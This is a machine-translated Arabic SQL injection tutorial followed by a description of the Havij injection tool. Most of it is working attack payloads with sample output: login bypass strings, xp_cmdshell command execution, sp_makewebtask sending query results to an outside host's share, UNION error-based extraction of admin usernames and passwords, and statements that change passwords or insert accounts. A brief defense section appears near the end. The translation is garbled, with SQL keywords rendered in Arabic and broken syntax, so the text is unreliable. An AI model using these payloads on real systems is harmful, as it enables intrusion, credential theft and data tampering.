SQL Injection هي طريقة مصممة لإدخال استعلام / أوامر SQL من خلال صفحات الويب. تستخدم العديد من صفحات الويب المعلمات المقدمة لمستخدمي الويب، وجعل طلب قاعدة بيانات SQL. خذ حالة مع تسجيل دخول مستخدم للمثال عند وجود صفحة ويب مع اسم وكلمة مرور يتم إجراء استعلام SQL في قاعدة البيانات، للتحقق مما إذا كان هناك مستخدم مسجل بهذا الاسم وكلمة المرور. باستخدام حقن SQL، يمكنك إرسال حقل اسم المستخدم و / أو كلمة المرور اخترع، وتغيير طلب SQL، والذي يمكن أن يوفر لنا شيئا مثيرا للاهتمام.

2.0 ماذا يجب أن ننظر

حاول العثور على الصفحات التي تطلبها بيانات، مثل صفحة البحث والمناقشة وما إلى ذلك. بعض الأحيان صفحات HTML باستخدام طريقة النشر لإرسال الأوامر أخرى صفحة على الإنترنتوبعد في هذه الحالة، لن ترى المعلمات الموجودة في عنوان URL. ومع ذلك، في هذه الحالة، يمكنك البحث عن علامة "النموذج" مصدر الرمز صفحات HTML. ستجد شيئا مثل هذا:



جميع المعلمات من كل

و
يحتمل أن تكون عرضة لإدخال رمز SQL.

2.1 ماذا لو لم تجد صفحة تستخدم المدخلات؟

ابحث عن صفحات مثل ASP أو JSP أو CGI أو PHP صفحات الويب. حاول العثور على الصفحات التي تستخدم المعلمات، مثل:

3.0. كيف يمكنني التحقق من ما وجدته عرضة للخطر؟

حاول بدءا من اقتباس واحد. أدخل السطر التالي:

مرحبا "أو 1 \u003d 1

في حقل اسم المستخدم أو كلمة المرور، أو حتى في المعلمة URL.وبعد مثال:

تسجيل الدخول: مرحبا "أو 1 \u003d 1--
تمر: مرحبا "أو 1 \u003d 1
http: //duck/index.asp؟ معرف \u003d مرحبا "أو 1 \u003d 1--

إذا قمت بذلك مع حقل مخفي، فما عليك سوى تنزيل مصدر HTML المصدر، وحفظه على القرص الثابت، فقم بتغيير عنوان URL وحقل المخفية، على التوالي. مثال:



إذا حظا سعيدا في صفك، فسوف تدخل النظام دون اسم أو كلمة مرور.

3.1 ولكن لماذا "أو 1 \u003d 1 -؟

دعونا ننظر إلى مثال آخر يفسر فائدة التصميم "أو 1 \u003d 1 -. بالإضافة إلى التحايل على التسجيل، يمكنك أيضا التفكير في معلومات إضافية غير متوفرة عادة. النظر في صفحة ASP التي تشير إلى صفحة أخرى مع عنوان URL التالي :

http: //duck/index.asp؟ فئة \u003d الطعام

في عنوان URL، "الفئة" هي اسم المتغير، و "الطعام" - القيمة المعينة لهذا المتغير. للقيام بذلك، قد تحتوي صفحة ASP على التعليمات البرمجية التالية:

v_cat \u003d طلب ("الفئة")
Sqlstr \u003d "Select * من المنتج حيث PCategory \u003d" "" & v_cat & "
تعيين روبية \u003d conn.execute (sqlstr)

كما يمكن أن ينظر إليه، سيتم دمج المتغير لدينا مع V_CAT وبالتالي يجب أن يصبح استعلام SQL:

حدد * من المنتج حيث PCategory \u003d "الطعام"

يجب أن يؤدي هذا الاستعلام إلى إرجاع مجموعة تحتوي على صف واحد أو أكثر تتطابق مع الشرط الذي يطور فيه، في هذه الحالة "الطعام". الآن تغيير عنوان URL كما يلي:

http: //duck/index.asp؟ فئة \u003d طعام "أو 1 \u003d 1
حدد * من المنتج حيث pcategory \u003d "الطعام" أو 1 \u003d 1-- '

سيعود هذا الاستعلام إلى إرجاع جميع الصفوف في جدول المنتج، بغض النظر عن ما إذا كان الكمبيوتر الشخصي هو "الطعام" أم لا. تقارير Double Damn "-" أن MS SQL Server يتجاهل بقية الاستعلام التي تتبع اقتباس واحد ("). في بعض الأحيان يمكنك استبدال Double Dash على DITZER" # ".

ومع ذلك، إذا لم يتم استخدام خادم SQL، أو لا يمكنك تجاهل بقية الطلب، فحاول:

"أو" أ "\u003d"

الآن سيكون استعلام SQL:

حدد * من المنتج حيث PCategory \u003d "الطعام" أو "A" \u003d "A"

هذا الطلب سيعود نفس النتيجة.

اعتمادا على طلب SQL الفعلي، ربما يجب عليك تجربة بعض هذه الميزات:

"أو 1 \u003d 1--
"أو 1 \u003d 1--
أو 1 \u003d 1--
"أو" أ "\u003d"
"أو" أ "\u003d"
") أو (" "\u003d"

4.0 كيف يمكنني تنفيذ الأوامر عن بعد باستخدام حقن SQL؟

تعني القدرة على إدخال أمر SQL عادة أنه يمكننا تنفيذ طلبات SQL اختياريا. يتم إجراء تثبيت MS SQL الافتراضي مع حقوق النظام. يمكننا الاتصال بالإجراءات المدمجة، مثل Master..xp_cmdshell، للتنفيذ عن بعد للأوامر التعسفية:

"؛ exec master..xp_cmdshell" Ping 10.10.1.2 "-

حاول استخدام علامات اقتباس مزدوجة (")، إذا كان (") لا يعمل.

ستينهي النقطة مع فاصلة استعلام SQL الحالي وتتيح لك تشغيل فرق SQL جديدة. للتحقق مما إذا تم إكمال الأمر بنجاح، يمكنك التحقق من حزم ICMP عند 10.10.1.2، هل هناك حزم من خادم عرضة للخادم:

http: // الموقع /؟ ID \u003d 31610

إذا لم تكن قد لم تتلق أي طلب للأداة المساعدة Ping من الخادم، والحصول على رسالة خطأ تشير إلى خطأ الإذن، فمن الممكن أن يكون المسؤول قد حدد الوصول إلى الويب إلى الإجراءات المحفوظة.

5.0 كيفية الحصول على نتائج استعلام SQL الخاص بي؟

يمكنك استخدام sp_makewebtask لتسجيل طلبك في HTML:

"؛ exec master..sp_makewebtask" \\\\ 10.10.1.3 \\ share \\ extor.html "،" حدد * من المعلومات_schema.tables "

يجب أن يكون لدى IP المحدد مجلد "مشاركة" مع الوصول للجميع.

6.0 كيفية الحصول على البيانات من قاعدة بيانات باستخدام رسالة خطأ ODBC؟

يمكننا استخدام المعلومات من رسالة خطأ قام بها SQL Server للحصول على أي بيانات. على سبيل المثال، ضع في اعتبارك الصفحة التالية:

http: //duck/index.asp؟ معرف \u003d 10

الآن سنحاول دمج كله '10' مع سطر آخر في قاعدة البيانات:

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 table_name من معلومات_schema.tables--

يحتوي الجدول النظام على معلومات_Schema.Tables معلومات من جميع الجداول على الخادم.

من الواضح أن حقل Table_Name يحتوي على اسم كل جدول في قاعدة البيانات. تم اختيارها لأننا نعرف أنها موجودة دائما. طلبنا:

حدد أعلى 1 table_name من معلومات_schema.tables--

سيعود هذا الطلب الاسم الأول في قاعدة البيانات. عندما نقوم النقابة بقيمة سلسلة 10، سيحاول MS SQL Server تحويل سلسلة NVARCHAR إلى عدد صحيح. سيؤدي ذلك إلى وجود خطأ في الإبلاغ الذي لا يمكن تحويل NVARCHAR إلى Int. سيقدم الخادم الخطأ التالي:


خطأ في بناء الجملة تحويل قيمة nvarchar "(! لانج: table1" to a column of data type int. !}
/index.asp، خط 5

تحتوي رسالة الخطأ على معلومات حول قيمة لا يمكن تحويلها إلى عدد صحيح. في هذه الحالة، حصلنا على اسم الجدول الأول - "الجدول 1".

لاسم الجدول التالي، يمكننا استخدام الاستعلام التالي:

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 table_name من معلومات_schema.tables حيث table_name ليس في ("الجدول 1") -

يمكننا أيضا البحث عن البيانات باستخدام المفتاح المطلوب:

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 table_name من information_schema.tables حيث table_name مثل "٪ 25Login٪ 25" -

مزود Microsoft OLE DB لبرامج تشغيل ODBC "80040E07" خطأ في بناء الجملة تحويل قيمة nvarchar "(! Lang: admin_login" to a column of data type int. !} /index.asp، خط 5

سيتم استبدال التصميم المقابل "٪ 25Login٪ 25" بنسخة تسجيل الدخول٪٪ في SQL Server. في هذه الحالة، نحصل على اسم الجدول الذي يتوافق مع معيار "Admin_login".

6.1 كيف تعرف كل أسماء الأعمدة في الجدول؟

يمكننا استخدام جدول المعلومات_schema.columns لعرض جميع أسماء الأعمدة في الجدول:

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 column_name من معلومات_schema.columns حيث table_name \u003d "admin_login" -

مزود Microsoft OLE DB لبرامج تشغيل ODBC "80040E07"
خطأ في بناء الجملة تحويل قيمة nvarchar "(! لانج: login_id" to a column of data type int. !}
/index.asp، خط 5

الآن، عندما تعلمنا اسم العمود الأول، يمكننا استخدامه ليس في () للحصول على اسم العمود التالي:

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 column_name من معلومات_schema.columns حيث table_name \u003d "admin_login" حيث noice_name ليس في ("login_id") -

مزود Microsoft OLE DB لبرامج تشغيل ODBC "80040E07"
خطأ في بناء الجملة تحويل قيمة nvarchar "(! Lang: login_name" to a column of data type int. !}
/index.asp، خط 5

استمرار، وسوف نحصل على أسماء الأعمدة المتبقية، I.E. "كلمة المرور"، "التفاصيل" حتى نحصل على الخطأ التالي.

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 column_name من information_schema.columns حيث table_name \u003d "admin_login" حيث noice_name ليس في ("login_id"، "login_name"، "كلمة المرور"، التفاصيل ") -

Microsoft OLE DB موفر لبرامج تشغيل ODBC "80040E14"
يجب أن يظهر الطلب عن طريق العناصر في القائمة تحديد إذا كان العبارة يحتوي على مشغل نقابي.
/index.asp، خط 5

6.2. كيف نحصل على البيانات التي تحتاجها؟

الآن بعد أن حددنا بعض الجداول المهمة، يمكننا استخدام نفس المنهجية للحصول على معلومات من قاعدة البيانات.

دعنا نحصل على جدول تسجيل الدخول الأول من جدول "Admin_login":

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 login_name من admin_login--

مزود Microsoft OLE DB لبرامج تشغيل ODBC "80040E07"
خطأ في بناء الجملة تحويل قيمة nvarchar "(! لانج: الجدد" to a column of data type int. !}
/index.asp، خط 5

الآن نحن نعلم أن هناك مستخدم مسؤول باسم مدخل نظام "NEO". أخيرا، يمكننا الحصول على كلمة مرور "Neo":

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 كلمة المرور من admin_login حيث login_name \u003d "Neo" -

مزود Microsoft OLE DB لبرامج تشغيل ODBC "80040E07"
خطأ في بناء الجملة تحويل قيمة NVARCHAR "(! LANG: M4TRIX" to a column of data type int. !}
/index.asp، خط 5

الآن يمكننا تسجيل الدخول باسم "NEO" بكلمة مرور "M4Trix".

6.3 كيفية الحصول على قيمة صف رقمي؟

هناك حد في الطريقة الموضحة أعلاه. لن نتمكن من الحصول على رسالة خطأ إذا حاولنا تحويل النص الذي يتكون من أرقام (أحرف فقط بين 0 ... 9). الآن سنصف كلمة المرور "31173" مع مستخدم "Trinity":

http: //duck/index.asp؟ معرف \u003d 10 Union حدد أعلى كلمة المرور من admin_login حيث login_name \u003d "Trinity" -

ربما نحصل على خطأ "لم يتم العثور على الصفحة. السبب هو أن كلمة مرور "31173" سيتم تحويلها إلى رقم، قبل الاتحاد مع عدد صحيح (في حالتنا 10). نظرا لأن ذلك سيخضع للتعبير النقابي الصحيح، فلن يعرض SQL Server رسالة خطأ، ولذا لن نتمكن من الحصول على سجل رقمي.

لحل هذه المشكلة، يمكننا إضافة سلسلة عددي إلى النهاية مع بعض الحروف بحيث لا يتم تمرير التحول. استعلام معدلة:

http: //duck/index.asp؟ معرف \u003d 10 Union حدد Top 1 تحويل (int وكلمة المرور٪ 2B "٪ 20morpheus") من admin_login حيث login_name \u003d "trinity" -

نحن ببساطة استخدام علامة الجمع (+) لإضافة كلمة مرور إلى النهاية باستخدام أي نص (ترميز ASSCII ل "+" \u003d 0x2b). ثم، سنضيف إلى النهاية "٪ 20morpheus" في كلمة المرور الفعلية. لذلك، حتى لو كانت قيمة كلمة المرور "31173"، فسوف تصبح "31173 مورفيوس". سيعرض SQL Server يدويا، في محاولة تحويل "31173 Morpheus" إلى عدد صحيح، سيعرض SQL Server رسالة خطأ ODBC:

مزود Microsoft OLE DB لبرامج تشغيل ODBC "80040E07"
خطأ في بناء الجملة تحويل قيمة NVARCHAR "(! LANG: 31173 morpheus" to a column of data type int. !}
/index.asp، خط 5

الآن يمكننا تسجيل الدخول باسم "الثالوث" بكلمة مرور "31173".

7.0 كيفية تعديل / لصق البيانات في قاعدة البيانات؟

بعد أن حصلنا على أسماء جميع الأعمدة في الجدول، يمكننا تحديث أو حتى إدراج (أدخل) إدخال جديد في الجدول. على سبيل المثال، يمكننا تغيير كلمة المرور ل "Neo":

http: //duck/index.asp؟ معرف \u003d 10؛ تحديث "Admin_login" تعيين كلمة المرور "\u003d" NewPas5 "تم تسجيل الدخول \u003d" Neo--

لجعل (إدراج) إدخال جديد إلى قاعدة البيانات:

http: //duck/index.asp؟ معرف \u003d 10؛ إدراج في "admin_login" ("login_id"، "login_name"، "كلمة المرور"، "التفاصيل") القيم (666، "NEO2"، "Newpas5"، "NA") -

الآن يمكننا تسجيل الدخول باسم "NEO" بكلمة مرور "Newpas5".

8.0 كيفية تجنب حقن SQL؟

تصفية الأحرف الخاصة في جميع الصفوف إلى:

أي بيانات يدخلها المستخدم
- معلمات URL.
- بسكويت.

بالنسبة للقيم العددية، تحويلها إلى عدد صحيح، قبل تمريرها إلى طلب SQL. أو استخدم هرمون رقمي للتأكد من أن هذا صحيح.

قم بتشغيل SQL Server كمستخدم غير متميز.

حذف الإجراءات المحفوظة غير المستخدمة: master..xp_cmdshell، xp_startmail، xp_sendmail، sp_makewebtask

Havij هو برنامج يعمل على التحقق من توافر نقاط الضعف في موقع الويب. في أغلب الأحيان لا يستخدم الغرض الرئيسي تماما، أي - لتنفيذ حقن SQL. لهذا السبب من أن الأداة غالبا ما تنتمي إلى برنامج "Hacker".

مبدأ التشغيل

باستخدام هذا التطبيق، يمكنك إجراء هجمات على خدمة ويب لتغيير تعبير SQL عن طريق الوكالة الواقعة. في حالة النجاح، يسمح لك الحقن بتعديل منطق تنفيذ طلب المستخدم لاحتياجاتك الخاصة. في كثير من الأحيان، أثناء الهجوم، يتم إنشاؤه ببساطة بصمة (بصيغة) من قاعدة البيانات، وبعد ذلك يتم استيراد البيانات اللازمة منه، على سبيل المثال، قاعدة المستخدم أو حساب المسؤول. في وجود نقاط الضعف، يمكن أن يتفاعل غير ودية حتى مع الجزء الخلفي من تطبيق الويب. على وجه الخصوص، تتيح لك مثل هذه المقدمة تحقيق القدرة على تنفيذ الأوامر اللازمة على الخادم أو عرض الملفات الضرورية على الجانب المضيف.

قدرات

يجعل Havij توفير كلمات مرور التجزئة وطاولة التفريغ. يسمح لك البرنامج بإجراء أنواع مختلفة من الحقن: حقن SQL المستندة إلى الأخطاء، وحقن SQL Query Union، واستفسارات مكدسة، وحقن SQL المكدسة، وكذلك حقن SQL العمياء المستندة إلى الوقت، فضلا عن حقن SQL العمياء المستندة إلى Boolean. تعمل الأداة مع HTTPS وتدعم مجموعة متنوعة من أنواع DBMS: MSACCESS، MYSQL، ORACLE، POADGRESQ وحتى Sybase. إذا لزم الأمر، يمكن أن تعمل Havij في العديد من الجداول من خلال الوكيل.

يمكن تحرير بناء جملة الرمز المرفق بواسطة "الأيدي". أيضا، قبل بدء الهجوم، يسمح له بتحديد قائمة بالكلمات الرئيسية المطلوبة أو أعمدة الجداول أو أنواع البيانات (على سبيل المثال - أعداد صحيحة أو أرقام كسور).

في عملية العمل، يؤدي Havij إلى سجل مفصل للعمليات، والتي، بعد الانتهاء من الهجوم، يتم حفظها في مجلد البرنامج. واجهة التطبيق بديهية للغاية، وجميع الضوابط الأساسية هنا تناسب هنا في نافذة واحدة.

دلائل الميزات

  • تنفيذ حقن SQL مع بناء الجملة المطلوب؛
  • دعم النماذج المختلفة؛
  • ابحث عن نقاط ضعف الموقع والتطبيقات؛
  • القدرة على العمل مع أنواع مختلفة من DBMS؛
  • دعم HTTPS وبروتوكول الوكيل.